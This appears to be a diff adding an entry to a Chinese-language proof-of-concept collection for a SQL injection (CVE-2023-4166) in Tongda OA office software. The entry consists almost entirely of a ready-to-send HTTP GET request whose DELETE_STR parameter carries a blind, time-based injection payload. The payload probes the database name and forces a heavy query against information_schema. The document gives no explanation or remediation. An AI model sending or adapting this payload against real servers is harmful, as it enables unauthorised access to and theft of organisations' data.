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+## 通达OA sql注入漏洞 CVE-2023-4166
+```
+GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1 HTTP/1.1
+Host: 127.0.0.1:8080
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate
+Connection: close
+```